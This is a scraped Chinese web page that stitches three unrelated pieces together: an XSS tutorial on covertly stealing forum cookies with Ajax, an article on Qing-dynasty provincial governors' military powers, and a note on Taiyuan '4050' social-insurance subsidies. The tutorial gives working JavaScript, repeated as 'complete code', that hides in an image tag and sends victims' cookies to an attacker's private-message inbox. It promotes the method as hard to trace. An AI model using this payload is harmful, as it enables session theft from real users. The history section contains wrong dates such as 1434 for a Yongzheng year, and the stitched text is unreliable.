Cookies甜点也不安全Cookies高级窃取法之Ajax

换句话说,Ajax(
【菜科解读】
当我们生活在现代结实的建筑下时,Ajax正在改变着Web的工作方式,它通过Javascript和XML为我们带来了直通Web的桌面式的功能。
换句话说,Ajax(Asynchronous Javascript and XML)去除了通过DHTML特效带来的烦琐的页面更新和链接,并将其变成十分有趣的桌面式应用程序。
Ajax不仅是一项技术,而且更不是单纯的技术的集合,当这些技术一起使用时,它提供了强有力的框架。
本文将试着教大家如何驾御这项技术来提高Cookies的窃取能力。
本文也是个对Ajax不错的介绍,因为它被用在一个独特并有趣的地方。
在阅读本文前,大家应该明白,Ajax只在Cookie窃取时有用,如果它绕过了站点的验证系统。
为了使它起作用,目标站点必须有一些私有消息(PM)系统来接收Cookies本身,这将有效地绕过浏览器的所有验证来发送请求。
通过Ajax窃取cookie?关键点! 大家可能很想知道Ajax是怎样帮助我们更隐秘地窃取Cookie的。
首先,这种通过Ajax查找的性质决定了它能够以XMLHttpRequest的形式向服务器发送任意请求。
从本质上看,它可以通过使用超文本链接或者嵌在网页中的各种数据提交控件来发送这些请求。
但通过使用Ajax,当一个用户点击了上述的链接时,请求被自动发送给服务器处理而不需要重定向到另一个页面,这就突破了页面更新的需要,并且把最终结果在Web中显示给用户。
只要Web浏览器添加一个合适的Javascript解释器(现在使用的大部分Web浏览器都有这个功能),这些假设就都是可能的。
所以,现在让我们想象一下并试用我们刚才学的Cookie窃取。
比如,大部分Cookie窃取者都用Javascript的Location方法:window.document.location="http://www.cookie窃取.com/讨厌的窃密者.php",在执行这句后,将完全重定位到一个不同的页面而不是用户请求的;我们再用javascript url:javascript: window.document.location="http://www.target.com"试一下,而这已经是老式的Cookie窃取的方法了。
接下来本文将教大家最新的关于如何利用Ajax重定向用户的请求到你选的Web页面的方法。
有时,攻击者要使窃取有创造性(老的方法)并且要使页面跟用户先前请求的页面一一模样,猜一下会怎样呢?现在很多用户会怀疑他们看到的URL不是原先那个域名的URL,而是看起来更象http://快来吧.com/窃取.php。
当他们看到这个,我们的机会就变成了被举报,并且网络管理员也会意识到什么被窃取了,然后问题就被解决了(当然,如果是在理想世界)。
使用Ajax,我们可以把数据附加在用户的Cookie当中,并悄悄地请求和发送到你想要的地方(当中也有一些不理想的地方,下面我们将会讨论它们是什么,该如何在这样的条件下运作)。
最后,当用户访问像论坛这样的网站后,我们的任务就完成了,Cookie被窃取,好象什么事都没发生(至少表面上是这样的)。
我是迷糊了,现在该如何开始呢? 在这么长的介绍之后,是时候开始编写我们的代码了,先开个头!为了达到我们的目的,我们要使Ajax与两大浏览器(Mozilla和IE)兼容。
为此,我们需要一些HTTP调试器,Paros Proxy或Microsoft Fiddler就可以了。
它们待会将记录请求,虽然不是必需的,但对我们的工作很有用。
注意:本文将利用常见的攻击方法(跨站脚本攻击)来证明这些代码。
我们要利用的是HTML中标签的SRC属性来完成我们的工作。
下面的基本代码可以通过简单地修改来满足大家的需要,完整的代码将在文章最后给出来。
前途是光明的 假设我们的任务是:渗透一个用PHP语言编写的未过滤Javascript或其他恶意代码的有图片个性签名的论坛,在没有人知道的情况下获得一个Cookie。
下面让我们开始这次 旅行 ,用没有危害的图像标签在SRC中隐藏我们的Javascript URL(XSS中常见的形式),具体代码如下所示。
var XMLHTTPRequestObject = false;if (window.XMLHttpRequest){ XMLHttpRequestObject = new XMLHttpRequest();}else if(window.ActiveXObject){ XMLHttpRequestObject = new ActiveXObject("Microsoft.XMLHTTP");}else{ alert("Javascript must be enabled to continue.");}上面的代码是个简单的测试,用以确定XMLHttpRequest对象是能够被创建的。
如果不行,代码会返回false并跳出对话框说 Javascript must be enabled to continue. 。
既然我们已经成功地创建了一个新的对象,我们该创建一个在成功载入后能向服务器发送请求的函数了。
但是当Ajax尝试访问一个外来的链接时,这里就有问题了。
通常,浏览器会提示是否确定本次访问,那我们的任务就失败了!如果要使我们的代码是秘密的致命的,我们就必须处理这种情况。
幸运的是,我们是对论坛进行测试,通常论坛都会有某些PM(private messaging)系统的,我们就用 以彼之道,还施彼身 的绝学(慕容家的,我偷用下)来实现,以消息的形式来发送我们的Cookies。
这不仅是通过在PHP中创建文件来重新得到Cookies,也可以打开文件来把它写入,这意味着我们已经绕过了访问外来链接时的限制,具体代码如下所示。
function socket(){/*下面这行很重要。
注意到了Cookie是以合法的字符串附加上去的吗?如果绕过站点用的是Post方法来发送消息的,那么就要修改一下代码并使用HTTP调试器做些必要的修改*/ XMLHttpRequestObject.open('GET','http://www.site.com/privatemessage.phpuser=yourusername&subject=' + window.document.cookie, true); XMLHttpRequestObject.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); XMLHttpRequestObject.send(null); //出于我们的善良 delete XMLHttpRequestObject;}//别忘了这是张图片,要闭合标签哦!window.document.onload='socket();'"> 兄弟姐妹们,现在我们已经做到了利用Ajax窃取Cookie的简单而有效的方法。
上面的代码只是作为例子提供的,并不是万能钥匙。
比如,如果PM系统用的是Post而不是Get方法,或者很想用图片却没法解除它的限制呢?本文应该能使大家学会编写出更厉害的隐秘的脚本的方法,至少大家应该对无须更新页面即可窃取Cookie有了一定的概念;但也要知道,这种对安全性差的站点的欺骗风险也是很大的,但如果方法得当,也是很难追踪的。
总之,本文是一个故事,讲了一个人结合了跨站脚本和跨站请求伪造来执行攻击的故事。
如果大家回过头看这些故事里使用的代码,会发现代码是利用了Ajax来执行的,记住哦。
完整的验证代码
if (window.XMLHttpRequest){ XMLHttpRequestObject = new XMLHttpRequest();}else if(window.ActiveXObject){ XMLHttpRequestObject = new ActiveXObject("Microsoft.XMLHTTP");}else{ alert("Javascript must be enabled to continue.");}function socket(){ XMLHttpRequestObject.open('GET', 'http://www.site.com/privatemessage.php?user=yourusername&subject=' + window.document.cookie, true); XMLHttpRequestObject.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); XMLHttpRequestObject.send(null); delete XMLHttpRequestObject;}window.document.onload='socket();'">
Cookies,甜点,也,不安全,高级,窃,取法,之,Aja清朝巡抚最初无兵权,为什么后来也获得本省兵权
但在清朝前期,巡抚在军事上,受制于总督,以及所在省的绿营兵,身份比较尴尬。
有的总督辖区只有一个省,比如直隶和四川,就由总督兼理巡抚。
有的省则是总督和巡抚同驻一城,比如湖广总督与湖北巡抚同驻武昌,两广总督同驻广州。
这种情况下,总督的权限要大于巡抚,毕竟总督有军权。
有的省则只有巡抚没有总督。
看似没有总督的“压迫”,巡抚可以在省内当老大。
比如河南、山东、山西三个省,是没有总督只有巡抚。
但各省的军事权也不在巡抚手上,各省都设有总兵或提督。
总兵或提督不是巡抚的属下,巡抚无权调动本省的绿营兵。
这就容易出问题。
比如省内出了什么事,巡抚需要用兵,可他没有调兵权,就只能找总兵或提督商量。
遇到好说话的总兵或提督还好,遇到刺头,巡抚一个兵也调不动,耽误了朝廷的大事。
在有总督有巡抚的省份,巡抚因没有兵权,实际上的权力要小于总督,甚至是总兵或提督。
这很容易导致总督一人独大,或总兵提督在没有总督的省份专横跋扈。
康熙帝注意到了这个问题。
兵部主事杨兆杰在康熙六年(1668年)上言,认为朝廷应该让巡抚管辖各省的绿营兵。
杨兆杰说得很直白:绝不能让武将势力坐大,由文官性质的巡抚代替朝廷管各省绿营兵比较安全。
其他官员也不断上折子,所论和杨兆杰。
康熙帝认为事情要的看。
巡抚管兵,文官未必能管得好武事。
但也必须让巡抚分走总兵的一部分兵权,让他们互相监视,方为上策。
康熙十年(1671年),康熙帝下诏,巡抚并没有取代总兵或提督的兵权,而是把各省绿营兵自副将以下的管理权,交给巡抚,尤其是没有总督的几个省,如直隶(当时只有巡抚)、山东、河南、山西。
这样做有一个好处:巡抚可以控制绿营兵的中下级军官,从侧翼监视总兵或提督。
而巡抚不能调动总兵提督等高级军官,也降低了巡抚在本省一家独大的风险。
应该是尝到了巡抚分兵权的甜头,清廷从雍正以后,在设有总督的地方,也给这里的巡抚分一部分兵权。
不过,还是出于防范巡抚坐大的考虑,康熙十二年(1673年),清廷规定巡抚可以掌握两个营的兵力,称为抚标,约一千人。
抚标并不算在本省的绿营兵数额。
但不管怎么说,巡抚有了一定兵权,就能和权力过大的总督分庭抗礼,至少能在一定范围内遏制总督。
总督要成了军阀,其危害性要远大于巡抚。
河南巡抚是在八年(1743年),获得了兼任河南提督的权力。
三年后,山东巡抚也获得了同样权力。
贵州巡抚在乾隆十二年(1747年)获得了此权力,又二年,江西巡抚也有了兵权。
贵州因为境内民族众多,云南总督驻在昆明,有点鞭长莫及。
贵州巡抚掌握本省的兵权,对朝廷统治贵州是非常有利的。
江西巡抚获得兵权,是因为两江总督主要管安徽和江苏的军事,对江西的管辖也较远。
两江总督虽然管着江苏、安徽、江西三省,但他能直接掌控的是苏皖二省,江西在两江的权力框架内,有点半独立的意思。
最早获得提督本省绿营兵的省是山西。
雍正十二年(1434年),雍正帝就让山西巡抚兼着山西提督的差使,山西省内所有绿营兵都管山西巡抚管辖。
剩下没有获得兼本省提督的省份,到了年间,安徽省获得了这个待遇。
嘉庆八年(1802年),因为江南提督驻在江苏省的松江府,对于安徽有点远,嘉庆就让安徽巡抚管本省绿营兵,给予提督衔。
闽浙总督治下的浙江,两广总督治下的广西,分别在1841年(道光二十一年)、1842年获得统管本省绿营兵的权力。
陕西巡抚的情况比较特殊。
陕西处在大西北和中原、云贵川的结合处,战略地位特殊,始终没有获得该权力。
有什么事,还是由提督出面,巡抚只是围观吃瓜的。
以后,天下大乱,西北也乱如一锅粥。
在此种情况下,咸丰十年(1860年)六月,咸丰帝给予陕西巡抚部分管兵权。
但是,清廷深知陕西的重要性,所以,陕西巡抚的这个“部分管兵权”意义并不大。
首先,陕西巡抚不能兼陕西提督,有什么事,还是要经过陕甘总督和陕西提督的同意。
你会说还有很多省在此时并没有获得本省兵权,比如江苏、湖南等省。
没错,但是,这些省的巡抚,自咸丰以来多是立下军功的汉人。
朝廷得罪不起这些人,让这些省内并不驻总督衙门的省,获得了很多只有总督才有的权力,实际上就是总督。
随机文章法国阵风战斗机简介,可携带核弹攻击海陆空(单架2.42亿美元)现代懒人翻身的懒蚂蚁效应,懒于杂物勤于思考(未来管理人才)黑化版的白雪公主,联合王子让生母穿烧红铁鞋跳舞致死美国人为什么不吃米饭,小麦和玉米才是美国人的主食(营养更丰富)哈勃望远镜和中国天眼谁厉害,中国天眼恐看更远/灵敏度更高
2025年农村户口也能领4050社保补贴吗?2025年太原4050社保补贴标准是多少钱一个月?
太原4050灵活就业社保补贴标准如何?“4050补贴”需要以灵活就业身份参加职工养老和医疗保险,补贴标准不超过实际缴费的三分之二,最长3年,距离退休不足5年的可延长到退休。
补贴对象包括国企下岗人员、低保家庭等。
申请流程需要提交身份证、银行账户等。
那么太原4050灵活就业社保补贴标准是多少钱?太原4050社保补贴条件是什么?接下来随新社通APP小编了解一下太原4050灵活就业社保补贴标准最新资讯。
一、2023-2024年太原4050社保补贴标准及条件是多少? 二、太原灵活就业4050社保补贴申请流程太原4050社保补贴办理流程是什么,如下:符合条件的申请人需要携带相关证件和资料到户口所在地的社区劳动服务中心进行申请。
工作人员会对申请人的资料进行审核,并核实其是否符合申请条件。
如果申请人的资料齐全、符合条件,工作人员会为其办理社保补贴手续。
申请人需要按规的时间和地点领取社保补贴。
补贴标准:以就业困难人员的实际缴费基数(最高不超过上年度全市在岗职工月平均工资的60%)计算的用人单位应支付的基本养老保险、基本医疗保险和失业保险费用之和。
补贴期限:与用人单位招用就业困难人员社会保险补贴期限合并计算,在就业困难人员距国法定退休年龄超过5年之前,累计不超过36个月;在就业困难人员距国法定退休年龄不足5年期间,累计不超过60个月。
就业困难人员灵活就业社会保险补贴资金从失业保险基金列支。